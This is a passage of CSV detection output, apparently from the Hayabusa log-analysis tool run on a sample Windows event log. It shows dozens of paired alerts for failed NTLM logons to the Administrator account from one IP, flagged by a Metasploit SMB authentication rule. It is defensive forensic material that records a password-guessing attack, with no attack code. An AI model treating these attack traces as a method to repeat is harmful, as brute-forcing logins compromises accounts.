Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HKEGmAH8Wbc7f3jC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.632 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 06Dfi4lO2Vdw3gCr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.676 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 29eXmenUTACkAHKC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Zq7Gl6hnKDJJqFc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.760 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.809 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jKENlWYt6m78taZR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.809 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.863 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 822SUU2Hg6w6AqQh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.863 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.911 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bROU0Mk9Z4yEq323 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.911 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EKfVPleDpLLqkuKq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.952 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NGWVqbchMitnLVYT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.047 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.086 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y7K9vifU9lWwpP9J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.086 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.142 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oIgKYj210JfICJXv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.142 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jisuKilPQivTV8yE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hckyoom0XnqpRzK8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.229 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: De0l6qgcuhMERjMY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.284 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.343 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SSa7pylPWn8jl2Ox : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.343 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.377 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ol9OntO4hqidlNUi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.377 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.431 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kXOBF0ZWLxMauHuT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.431 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WVBFJltkR5vnmpYD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.504 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.554 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kHVXEHq9zNYdfTpZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.554 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OIw3BxmLsfwDXXFg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.647 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hhgRhjnhkRJus4fw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.647 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xz78guWXrekEvuFT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.696 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 04wNT26RJmriQrfH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.742 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.792 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XmbuuymdSpfNldt2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.792 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.837 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yqJarBVOImq5Tn2p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.837 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BZYExQroYH65tPuG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.876 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.913 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: llU5DQBrIrV3VtG5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.913 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.953 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HV17iXOYQqs2ntax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.953 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.994 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esZnEeyGdPa22PsL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.994 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rlYFTP9a2wdi5A2n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.037 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.075 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oJifU0PnO1Ntp6z3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.075 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xGKdKjJy28Qd1whT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.120 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.166 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x3L4BYjYJYlvuYHE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.166 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.206 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ui5RoLKttDo0wfFJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.206 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G2xjdWobsxBjo6p7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.293 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TPeQ0M5lXITI84G3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.293 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uu72qx4lG5ZRM7xf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.337 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zD072YR1hIgbzjaT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.392 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.449 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EqA7HDvImIlCiFq2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.449 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: efYFxZwMGEC3vVi7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.508 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6WmMHYegvFJvv6zd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.552 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.601 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DS9WkRnP0B5MgaeX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.601 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y5jNPV7ZgFExgg9n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.656 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.707 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V1FJ6vm3wK97iual : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.707 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.753 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GLuIx0sfF8NQD8QY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.753 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.800 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y3lMvcrrmGTkjdlh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.800 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.854 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2ZqOabcNMeazs6TC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.854 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 